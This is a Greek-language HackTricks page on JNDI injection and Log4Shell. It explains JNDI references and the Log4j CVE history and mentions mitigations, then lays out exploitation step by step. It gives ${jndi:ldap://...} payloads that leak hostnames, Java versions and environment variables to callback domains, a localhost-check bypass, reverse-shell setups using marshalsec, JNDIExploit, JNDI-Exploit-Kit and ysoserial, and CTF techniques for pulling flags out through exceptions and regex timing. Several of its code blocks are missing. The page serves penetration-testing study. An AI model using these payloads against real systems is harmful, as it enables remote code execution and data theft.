JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας στα προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματοδοσίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παρόχων υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Κοινές SPIs περιλαμβάνουν CORBA COS, Java RMI Registry και LDAP.
Τα αντικείμενα Java μπορούν να αποθηκευτούν και να ανακτηθούν χρησιμοποιώντας JNDI Naming References, οι οποίες έρχονται σε δύο μορφές:
Reference Addresses: Προσδιορίζει την τοποθεσία ενός αντικειμένου (π.χ., rmi://server/ref), επιτρέποντας άμεση ανάκτηση από τη συγκεκριμένη διεύθυνση.
Remote Factory: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση κατεβαίνει και δημιουργείται από την απομακρυσμένη τοποθεσία.
Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, ενδεχομένως οδηγώντας στη φόρτωση και εκτέλεση αυθαίρετου κώδικα. Ως αντεπίθεση:
RMI: java.rmi.server.useCodeabseOnly = true
από προεπιλογή από το JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Security Manager περιορίζει περαιτέρω τι μπορεί να φορτωθεί.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
από προεπιλογή από το JDK 6u141, 7u131, 8u121, μπλοκάροντας την εκτέλεση απομακρυσμένων φορτωμένων αντικειμένων Java. Εάν οριστεί σε true
, είναι δυνατή η εκτέλεση απομακρυσμένου κώδικα χωρίς την εποπτεία ενός Security Manager.
CORBA: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Security Manager είναι πάντα ενεργός.
Ωστόσο, ο Naming Manager, υπεύθυνος για την επίλυση των συνδέσμων JNDI, στερείται ενσωματωμένων μηχανισμών ασφαλείας, επιτρέποντας ενδεχομένως την ανάκτηση αντικειμένων από οποιαδήποτε πηγή. Αυτό θέτει σε κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογών (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Παραδείγματα εκμεταλλεύσιμων URL περιλαμβάνουν:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Παρά τις προστασίες, οι ευπάθειες παραμένουν, κυρίως λόγω της έλλειψης προστατευτικών μέτρων κατά της φόρτωσης JNDI από μη αξιόπιστες πηγές και της δυνατότητας παράκαμψης των υπαρχουσών προστασιών.
Ακόμα και αν έχετε ορίσει ένα PROVIDER_URL
, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: ctx.lookup("<attacker-controlled-url>")
και αυτό είναι που θα εκμεταλλευτεί ένας επιτιθέμενος για να φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.
CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μια Interoperable Object Reference (IOR) για να προσδιορίσει μοναδικά απομακρυσμένα αντικείμενα. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
Type ID: Μοναδικός αναγνωριστικός αριθμός για μια διεπαφή.
Codebase: URL για την απόκτηση της κλάσης stub.
Σημειωτέον ότι, η CORBA δεν είναι εγγενώς ευάλωτη. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
Εγκατάσταση ενός Security Manager.
Ρύθμιση του Security Manager για να επιτρέπει συνδέσεις σε δυνητικά κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
Άδειας socket, π.χ., permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Άδειες ανάγνωσης αρχείων, είτε καθολικά (permission java.io.FilePermission "<<ALL FILES>>", "read";
) είτε για συγκεκριμένους καταλόγους όπου μπορεί να τοποθετηθούν κακόβουλα αρχεία.
Ωστόσο, ορισμένες πολιτικές προμηθευτών μπορεί να είναι επιεικείς και να επιτρέπουν αυτές τις συνδέσεις από προεπιλογή.
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με την CORBA, η αυθαίρετη λήψη κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κάποιος το RMI, θα χρειαστεί συνήθως να παρακάμψει τον Security Manager, μια πράξη που είναι επίσης σχετική με την CORBA.
Πρώτα απ' όλα, πρέπει να διακρίνουμε μεταξύ μιας Αναζήτησης και μιας Αναζήτησης Ονόματος.
Μια αναζήτηση θα χρησιμοποιήσει ένα URL όπως ldap://localhost:389/o=JNDITutorial
για να βρει το αντικείμενο JNDITutorial από έναν LDAP server και να ανακτήσει τα χαρακτηριστικά του.
Μια αναζήτηση ονόματος προορίζεται για υπηρεσίες ονοματοδοσίας καθώς θέλουμε να πάρουμε οτιδήποτε είναι δεσμευμένο σε ένα όνομα.
Εάν η αναζήτηση LDAP κλήθηκε με SearchControls.setReturningObjFlag() με true
, τότε το επιστρεφόμενο αντικείμενο θα ανακατασκευαστεί.
Επομένως, υπάρχουν αρκετοί τρόποι για να επιτεθεί κανείς σε αυτές τις επιλογές. Ένας επιτιθέμενος μπορεί να δηλητηριάσει τις εγγραφές LDAP εισάγοντας payloads σε αυτές που θα εκτελούνται στα συστήματα που τις συλλέγουν (πολύ χρήσιμο για να συμβιβάσει δεκάδες μηχανές αν έχετε πρόσβαση στον LDAP server). Ένας άλλος τρόπος εκμετάλλευσης αυτού θα ήταν να εκτελέσετε μια επίθεση MitM σε μια αναζήτηση LDAP για παράδειγμα.
Σε περίπτωση που μπορείτε να κάνετε μια εφαρμογή να επιλύσει μια JNDI LDAP URL, μπορείτε να ελέγξετε τον LDAP που θα αναζητηθεί, και θα μπορούσατε να στείλετε πίσω την εκμετάλλευση (log4shell).
Η εκμετάλλευση είναι σειριοποιημένη και θα αποσειριοποιηθεί.
Σε περίπτωση που το trustURLCodebase
είναι true
, ένας επιτιθέμενος μπορεί να παρέχει τις δικές του κλάσεις στη βάση κώδικα, αν όχι, θα χρειαστεί να εκμεταλλευτεί gadgets στην classpath.
Είναι πιο εύκολο να επιτεθεί κανείς σε αυτό το LDAP χρησιμοποιώντας JavaFactory references:
Η ευπάθεια εισάγεται στο Log4j επειδή υποστηρίζει μια ειδική σύνταξη με τη μορφή ${prefix:name}
όπου το prefix
είναι ένα από έναν αριθμό διαφορετικών Lookups όπου το name
θα πρέπει να αξιολογηθεί. Για παράδειγμα, ${java:version}
είναι η τρέχουσα εκτελούμενη έκδοση της Java.
LOG4J2-313 εισήγαγε μια δυνατότητα jndi
Lookup. Αυτή η δυνατότητα επιτρέπει την ανάκτηση μεταβλητών μέσω JNDI. Συνήθως, το κλειδί προεπιλέγεται αυτόματα με το java:comp/env/
. Ωστόσο, εάν το κλειδί περιλαμβάνει ένα ":", αυτό το προεπιλεγμένο πρόθεμα δεν εφαρμόζεται.
Με ένα : παρόν στο κλειδί, όπως στο ${jndi:ldap://example.com/a}
δεν υπάρχει πρόθεμα και ο LDAP server ερωτάται για το αντικείμενο. Και αυτές οι Lookups μπορούν να χρησιμοποιηθούν τόσο στη διαμόρφωση του Log4j όσο και όταν καταγράφονται γραμμές.
Επομένως, το μόνο που χρειάζεται για να αποκτήσετε RCE είναι μια ευάλωτη έκδοση του Log4j που επεξεργάζεται πληροφορίες που ελέγχονται από τον χρήστη. Και επειδή αυτή είναι μια βιβλιοθήκη που χρησιμοποιείται ευρέως από εφαρμογές Java για την καταγραφή πληροφοριών (συμπεριλαμβανομένων των εφαρμογών που είναι εκτεθειμένες στο Διαδίκτυο), ήταν πολύ συνηθισμένο να έχει το log4j να καταγράφει για παράδειγμα HTTP headers που λαμβάνονται όπως το User-Agent. Ωστόσο, το log4j δεν χρησιμοποιείται μόνο για την καταγραφή HTTP πληροφοριών αλλά και οποιαδήποτε είσοδο και δεδομένα που υποδεικνύει ο προγραμματιστής.
Αυτή η ευπάθεια είναι μια κρίσιμη ευπάθεια μη αξιόπιστης αποσειριοποίησης στο συστατικό log4j-core
, που επηρεάζει εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει απομακρυσμένη εκτέλεση κώδικα (RCE), επιτρέποντας στους επιτιθέμενους να καταλάβουν συστήματα. Το ζήτημα αναφέρθηκε από τον Chen Zhaojun από την ομάδα ασφαλείας της Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ελλιπής. Οι κανόνες Sigma για άμυνα είναι διαθέσιμοι (Rule 1, Rule 2).
Αρχικά αξιολογήθηκε ως χαμηλή αλλά αργότερα αναβαθμίστηκε σε κρίσιμη, αυτή η CVE είναι μια ευπάθεια Άρνησης Υπηρεσίας (DoS) που προκύπτει από μια ελλιπή διόρθωση στην 2.15.0 για την CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω κατασκευασμένων payloads. Ένα tweet παρουσιάζει μια μέθοδο παράκαμψης. Το ζήτημα επιλύθηκε στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση προτύπων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.
Επηρεάζει εκδόσεις Log4j 1.x σε μη προεπιλεγμένες ρυθμίσεις που χρησιμοποιούν JMSAppender
, αυτή η CVE είναι μια ευπάθεια μη αξιόπιστης αποσειριοποίησης. Δεν είναι διαθέσιμη διόρθωση για τον κλάδο 1.x, ο οποίος είναι εκτός υποστήριξης, και συνιστάται η αναβάθμιση σε log4j-core 2.17.0
.
Αυτή η ευπάθεια επηρεάζει το Logback logging framework, διάδοχο του Log4j 1.x. Προηγουμένως θεωρούμενο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο, και νέες εκδόσεις (1.3.0-alpha11 και 1.2.9) έχουν κυκλοφορήσει για να αντιμετωπίσουν το ζήτημα.
Το Log4j 2.16.0 περιέχει μια ευπάθεια DoS, οδηγώντας στην κυκλοφορία του log4j 2.17.0
για να διορθώσει την CVE. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην αναφορά του BleepingComputer.
Επηρεάζει την έκδοση log4j 2.17, αυτή η CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρύθμισης του log4j. Περιλαμβάνει πιθανή αυθαίρετη εκτέλεση κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση του Checkmarx blog.
Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, καθώς θα στείλει τουλάχιστον ένα DNS request στη διεύθυνση που υποδεικνύετε στο payload σας. Επομένως, payloads όπως:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(χρησιμοποιώντας canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(χρησιμοποιώντας interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(χρησιμοποιώντας Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(χρησιμοποιώντας dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
χρησιμοποιώντας (χρησιμοποιώντας huntress)
Σημειώστε ότι ακόμα και αν ληφθεί ένα DNS request αυτό δεν σημαίνει ότι η εφαρμογή είναι εκμεταλλεύσιμη (ή ακόμα και ευάλωτη), θα χρειαστεί να προσπαθήσετε να την εκμεταλλευτείτε.
Remember that to exploit version 2.15 you need to add the localhost check bypass: ${jndi:ldap://127.0.0.1#...}
Search for local vulnerable versions of the library with:
Ορισμένες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε ορισμένα μεταβλητά δεδομένα που θα καταγραφούν όταν ζητηθούν. Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:
Για να επαληθεύσετε την ευπάθεια
Για να εξάγετε πληροφορίες εκμεταλλευόμενοι την ευπάθεια
Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι όπως:
ή όπως ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
και αν ληφθεί αίτημα DNS με την τιμή της μεταβλητής env, γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.
Άλλες πληροφορίες που θα μπορούσατε να προσπαθήσετε να διαρρεύσετε:
Οι διακομιστές που εκτελούνται σε εκδόσεις JDK άνω των 6u141, 7u131 ή 8u121 είναι προστατευμένοι από την επίθεση φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του com.sun.jndi.ldap.object.trustURLCodebase
, που εμποδίζει το JNDI να φορτώσει μια απομακρυσμένη βάση κώδικα μέσω LDAP. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι αυτές οι εκδόσεις δεν είναι προστατευμένες από την επίθεση αποσειριοποίησης.
Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να εκμεταλλευτούν ένα έμπιστο gadget μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να χειραγωγηθούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για περισσότερες πληροφορίες (όπως περιορισμούς σε RMI και CORBA vectors) ελέγξτε την προηγούμενη ενότητα Αναφοράς Ονομάτων JNDI ή https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Μπορείτε να το δοκιμάσετε στο THM box: https://tryhackme.com/room/solar
Χρησιμοποιήστε το εργαλείο marshalsec (η έκδοση jar είναι διαθέσιμη εδώ). Αυτή η προσέγγιση δημιουργεί έναν διακομιστή παραπομπής LDAP για να ανακατευθύνει τις συνδέσεις σε έναν δευτερεύοντα διακομιστή HTTP όπου θα φιλοξενηθεί η εκμετάλλευση:
Για να προτρέψετε τον στόχο να φορτώσει έναν κώδικα reverse shell, δημιουργήστε ένα αρχείο Java με το όνομα Exploit.java
με το παρακάτω περιεχόμενο:
Συγκεντρώστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: javac Exploit.java -source 8 -target 8
. Στη συνέχεια, ξεκινήστε έναν HTTP server στον κατάλογο που περιέχει το αρχείο κλάσης με: python3 -m http.server
. Βεβαιωθείτε ότι ο marshalsec LDAP server αναφέρεται σε αυτόν τον HTTP server.
Ενεργοποιήστε την εκτέλεση της κλάσης exploit στον ευάλωτο web server αποστέλλοντας ένα payload που μοιάζει με:
Σημείωση: Αυτή η εκμετάλλευση εξαρτάται από τη ρύθμιση του Java για να επιτρέπει τη φόρτωση απομακρυσμένων κωδίκων μέσω LDAP. Αν αυτό δεν είναι επιτρεπτό, σκεφτείτε να εκμεταλλευτείτε μια αξιόπιστη κλάση για αυθαίρετη εκτέλεση κώδικα.
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε μια διαφορετική μέθοδο για να εκμεταλλευτείτε αυτήν την ευπάθεια.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στη wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.
Για αυτό το παράδειγμα μπορείτε απλά να τρέξετε αυτόν τον ευάλωτο web server για το log4shell στη θύρα 8080: https://github.com/christophetd/log4shell-vulnerable-app (στο README θα βρείτε πώς να το τρέξετε). Αυτή η ευάλωτη εφαρμογή καταγράφει με μια ευάλωτη έκδοση του log4shell το περιεχόμενο της κεφαλίδας HTTP αιτήματος X-Api-Version.
Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο jar JNDIExploit και να το εκτελέσετε με:
Μετά την ανάγνωση του κώδικα μόνο για μερικά λεπτά, στα com.feihong.ldap.LdapServer και com.feihong.ldap.HTTPServer μπορείτε να δείτε πώς δημιουργούνται οι διακομιστές LDAP και HTTP. Ο διακομιστής LDAP θα κατανοήσει ποιο payload πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση. Στο com.feihong.ldap.gadgets μπορείτε να βρείτε ορισμένα συγκεκριμένα gadgets που μπορούν να χρησιμοποιηθούν για να εκτελέσουν την επιθυμητή ενέργεια (πιθανώς να εκτελέσουν αυθαίρετο κώδικα). Και στο com.feihong.ldap.template μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα δημιουργήσουν τις εκμεταλλεύσεις.
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Ορισμένες χρήσιμες είναι:
Έτσι, στο παράδειγμά μας, έχουμε ήδη αυτήν την ευάλωτη εφαρμογή docker να τρέχει. Για να την επιτεθούμε:
Όταν στέλνετε τις επιθέσεις, θα δείτε κάποια έξοδο στο τερματικό όπου εκτελέσατε το JNDIExploit-1.2-SNAPSHOT.jar.
Θυμηθείτε να ελέγξετε το java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειαστείτε, μπορείτε να αλλάξετε την πόρτα των διακομιστών LDAP και HTTP.
Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το JNDI-Exploit-Kit για να εκμεταλλευτείτε αυτήν την ευπάθεια. Μπορείτε να δημιουργήσετε τις διευθύνσεις URL που θα στείλετε στο θύμα εκτελώντας:
Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο παραγόμενο αντικείμενο java θα λειτουργήσει σε εργαστήρια όπως το THM solar room. Ωστόσο, αυτό γενικά δεν θα λειτουργήσει (καθώς από προεπιλογή η Java δεν είναι ρυθμισμένη να φορτώνει απομακρυσμένο κώδικα χρησιμοποιώντας LDAP) νομίζω επειδή δεν εκμεταλλεύεται μια αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus είναι ένα άλλο εργαλείο για τη δημιουργία λειτουργικών συνδέσμων JNDI και την παροχή υπηρεσιών υποβάθρου ξεκινώντας RMI server, LDAP server και HTTP server.\
Αυτή η επιλογή είναι πραγματικά χρήσιμη για να επιτεθεί σε εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους. Επομένως, ysoserial θα χρησιμοποιηθεί για να δημιουργήσει σειριοποιήσεις αξιόπιστων κλάσεων που μπορούν να χρησιμοποιηθούν ως gadgets για να εκτελέσουν αυθαίρετο κώδικα (η αξιόπιστη κλάση που εκμεταλλεύεται από το ysoserial πρέπει να χρησιμοποιείται από το θύμα java πρόγραμμα ώστε να λειτουργήσει η εκμετάλλευση).
Χρησιμοποιώντας ysoserial ή ysoserial-modified μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα κατεβεί από το JNDI:
Χρησιμοποιήστε το JNDI-Exploit-Kit για να δημιουργήσετε JNDI links όπου η εκμετάλλευση θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να σερβίρετε διαφορετικές εκμεταλλεύσεις που μπορούν να παραχθούν αυτόματα από το JNDI-Exploit-Kit ή ακόμα και τα δικά σας payloads αποσυμπίεσης (παραγόμενα από εσάς ή το ysoserial).
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε έναν παραγόμενο σύνδεσμο JNDI για να εκμεταλλευτείτε την ευπάθεια και να αποκτήσετε ένα reverse shell στέλνοντας σε μια ευάλωτη έκδοση του log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Βρείτε τοπικές ευάλωτες βιβλιοθήκες
Σε αυτήν την CTF αναφορά εξηγείται καλά πώς είναι πιθανό να καταχραστεί κάποια χαρακτηριστικά του Log4J.
Η σελίδα ασφαλείας του Log4j έχει μερικές ενδιαφέρουσες προτάσεις:
Από την έκδοση 2.16.0 (για Java 8), η λειτουργία αναζητήσεων μηνυμάτων έχει αφαιρεθεί εντελώς. Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει τώρα να ενεργοποιηθούν ρητά.
Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), μόνο οι συμβολοσειρές αναζητήσεων στη διαμόρφωση επεκτείνονται αναδρομικά; σε οποιαδήποτε άλλη χρήση, μόνο η αναζήτηση κορυφαίου επιπέδου επιλύεται, και οποιεσδήποτε εσωτερικές αναζητήσεις δεν επιλύονται.
Αυτό σημαίνει ότι από προεπιλογή μπορείτε να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης jndi
. Επιπλέον, για να εκτελέσετε αναδρομικές αναζητήσεις πρέπει να τις έχετε ρυθμίσει.
Για παράδειγμα, σε αυτήν την CTF αυτό είχε ρυθμιστεί στο αρχείο log4j2.xml:
Στο αυτό το CTF ο επιτιθέμενος έλεγχε την τιμή του ${sys:cmd}
και χρειαζόταν να εξάγει τη σημαία από μια μεταβλητή περιβάλλοντος.
Όπως φαίνεται σε αυτή τη σελίδα στα προηγούμενα payloads, υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: ${env:FLAG}
. Σε αυτό το CTF αυτό ήταν άχρηστο αλλά μπορεί να μην είναι σε άλλα σενάρια της πραγματικής ζωής.
Στο CTF, δεν μπορούσες να έχεις πρόσβαση στο stderr της εφαρμογής java χρησιμοποιώντας log4J, αλλά οι εξαιρέσεις του Log4J αποστέλλονται στο stdout, το οποίο εκτυπωνόταν στην εφαρμογή python. Αυτό σήμαινε ότι με την πρόκληση μιας εξαίρεσης μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για να εξάγουμε τη σημαία ήταν: ${java:${env:FLAG}}
. Αυτό λειτουργεί επειδή ${java:CTF{blahblah}}
δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
Απλώς για να το αναφέρω, θα μπορούσες επίσης να εισάγεις νέα conversion patterns και να προκαλέσεις εξαιρέσεις που θα καταγραφούν στο stdout
. Για παράδειγμα:
Αυτό δεν βρέθηκε χρήσιμο για να εξάγουμε δεδομένα μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν από το conversion pattern, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα όπως η ανίχνευση.
Ωστόσο, είναι δυνατόν να χρησιμοποιήσεις κάποια conversion patterns που υποστηρίζουν regexes για να εξάγεις πληροφορίες από μια αναζήτηση χρησιμοποιώντας regexes και κακοποιώντας δυαδική αναζήτηση ή χρονικά βασισμένες συμπεριφορές.
Δυαδική αναζήτηση μέσω μηνυμάτων εξαίρεσης
Το conversion pattern %replace
μπορεί να χρησιμοποιηθεί για να αντικαταστήσει περιεχόμενο από μια αλφαριθμητική συμβολοσειρά ακόμη και χρησιμοποιώντας regexes. Λειτουργεί ως εξής: replace{pattern}{regex}{substitution}
Κακοποιώντας αυτή τη συμπεριφορά, θα μπορούσες να κάνεις την αντικατάσταση να προκαλέσει μια εξαίρεση αν το regex ταίριαζε με οτιδήποτε μέσα στη συμβολοσειρά (και καμία εξαίρεση αν δεν βρεθεί) όπως αυτό:
Βασισμένο στον χρόνο
Όπως αναφέρθηκε στην προηγούμενη ενότητα, %replace
υποστηρίζει regexes. Έτσι, είναι δυνατόν να χρησιμοποιηθεί payload από τη σελίδα ReDoS για να προκαλέσει ένα timeout σε περίπτωση που βρεθεί η σημαία.
Για παράδειγμα, ένα payload όπως το %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
θα ενεργοποιούσε ένα timeout σε εκείνο το CTF.
Σε αυτή την αναφορά, αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια επίθεση ενίσχυσης για να προκαλέσει μια διαφορά χρόνου στην απάντηση:
Αν η σημαία ξεκινά με
flagGuess
, η ολόκληρη σημαία αντικαθίσταται με 29#
-s (χρησιμοποίησα αυτό το χαρακτήρα γιατί πιθανότατα δεν θα είναι μέρος της σημαίας). Κάθε ένα από τα 29#
-s αντικαθίσταται στη συνέχεια με 54#
-s. Αυτή η διαδικασία επαναλαμβάνεται 6 φορές, οδηγώντας σε ένα σύνολο29*54*54^6* =`` ``
96816014208
#
-s!Η αντικατάσταση τόσων πολλών
#
-s θα ενεργοποιήσει το timeout των 10 δευτερολέπτων της εφαρμογής Flask, το οποίο με τη σειρά του θα έχει ως αποτέλεσμα την αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά μεflagGuess
, θα λάβουμε έναν μη 500 κωδικό κατάστασης)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)